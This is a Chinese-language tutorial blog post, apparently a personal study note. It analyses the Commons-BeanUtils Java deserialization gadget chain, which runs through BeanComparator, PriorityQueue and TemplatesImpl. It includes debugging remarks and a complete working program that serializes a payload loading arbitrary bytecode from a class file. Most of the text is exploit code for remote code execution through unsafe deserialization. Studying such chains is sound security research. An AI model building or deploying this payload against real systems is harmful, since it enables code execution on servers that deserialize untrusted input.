CommonsBeanUtils反序列化
CommonsBeanUtils
基础
先说说 JavaBean 的这个概念
比如Baby是一个最简单的JavaBean类
public class Baby {
private String name = "gbz";
public String getName(){
return name;
}
public void setName (String name) {
this.name = name;
}
}
这里定义两个简单的 getter setter方法
Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的getter方法
System.out.println(PropertyUtils.getProperty(new Baby(), "name"));
他会输出gbz,Commons-BeanUtils 会自动找到name属性的getter 方法,也就是 getName ,然后调用并获得返回值。这个形式就很自然得想到能任意函数调用
分析
TemplatesImpl#getOutputProperties()他是和之前链子不一样的地方,也是关键
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
他里面调用了newTransformer很熟悉的,动态代理用过,我们直接套就行
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
那么,我们要想他前面的链子是什么,就得用到上面的知识了,它是一个 getter 方法,并且作用域为 public,所以可以通过 CommonsBeanUtils 中的 PropertyUtils.getProperty() 方式获取
PropertyUtils.getProperty(templates,OutputProperties)
接着我们要看谁调用了PropertyUtils.getProperty,我们在BeanComparator的Compare找到了
public int compare( T o1, T o2 ) {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
看到Compare(),我们就可以知道了,还是利用cc4这条链
我们修改一下cc4
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
这一部分是给newtransformer后面的步骤赋值,接着我们要给Compare赋值,Object value1 = PropertyUtils.getProperty( o1, property );,要给o1赋值为templates,property赋值为OutputProperties,OutputProperties可以直接反射赋值
Class beanclass = beanComparator.getClass();
Field property = beanclass.getDeclaredField("property");
property.setAccessible(true);
property.set(beanComparator,"outputProperties");
我们下一步就是在PriorityQueue里面的Comepare传值
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
上面comparator.compare(x, (E) c)我们要传参x, private void siftDownUsingComparator(int k, E x),到上一步
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
private void siftDown(int k, E x),在x传参,接着上一步heapify
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
ok,破案了这个x就是看链条的第几个,我们就是直接add,别忘记cc4的原因。
queue.add(templates);
queue.add(templates);
这样就可以给链条赋值两个templates,他就能触发了,但是我们知道cc4他add也是会触发Compare,所以我们还是用老方法,给他先赋值一个无关紧要的东西。后面用反射,给他赋值
queue.add(1);
queue.add(1);
PriorityQueue queue = new PriorityQueue(2, beanComparator);
Class queueclass = PriorityQueue.class;
Field queuefield = queueclass.getDeclaredField("queue");
queuefield.setAccessible(true);
queuefield.set(queue,new Object[]{templates,templates});
执行代码
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());//cc4前半部分new
BeanComparator beanComparator = new BeanComparator();
Class beanclass = beanComparator.getClass();
Field property = beanclass.getDeclaredField("property");
property.setAccessible(true);
PriorityQueue queue = new PriorityQueue(2, beanComparator);
queue.add(1);
queue.add(1);
property.set(beanComparator,"outputProperties");
Class queueclass = PriorityQueue.class;
Field queuefield = queueclass.getDeclaredField("queue");
queuefield.setAccessible(true);
queuefield.set(queue,new Object[]{templates,templates});
serialize(queue);
unserialize("ser.bin");
看上面的代码property.set(beanComparator,"outputProperties");这个代码要放在add后面,因为如果放在他的前面会导致报错,通过调试发现的。他会在Compare发生错误。
public int compare( T o1, T o2 ) {
if ( property == null ) {
// compare the actual objects
return internalCompare( o1, o2 );
}
try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
catch ( IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}
他会在Object value1 = PropertyUtils.getProperty( o1, property );报错,因为o1你传入的是1,但是property你传入的是outputProperties他在o1这个类里面没有outputProperties这个方法,找不到,所以报错,所以要在后面赋值
完整代码
public class Main {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());//cc4前半部分new
BeanComparator beanComparator = new BeanComparator();
Class beanclass = beanComparator.getClass();
Field property = beanclass.getDeclaredField("property");
property.setAccessible(true);
PriorityQueue queue = new PriorityQueue(2, beanComparator);
queue.add(1);
queue.add(1);
property.set(beanComparator,"outputProperties");
Class queueclass = PriorityQueue.class;
Field queuefield = queueclass.getDeclaredField("queue");
queuefield.setAccessible(true);
queuefield.set(queue,new Object[]{templates,templates});
serialize(queue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

浙公网安备 33010602011771号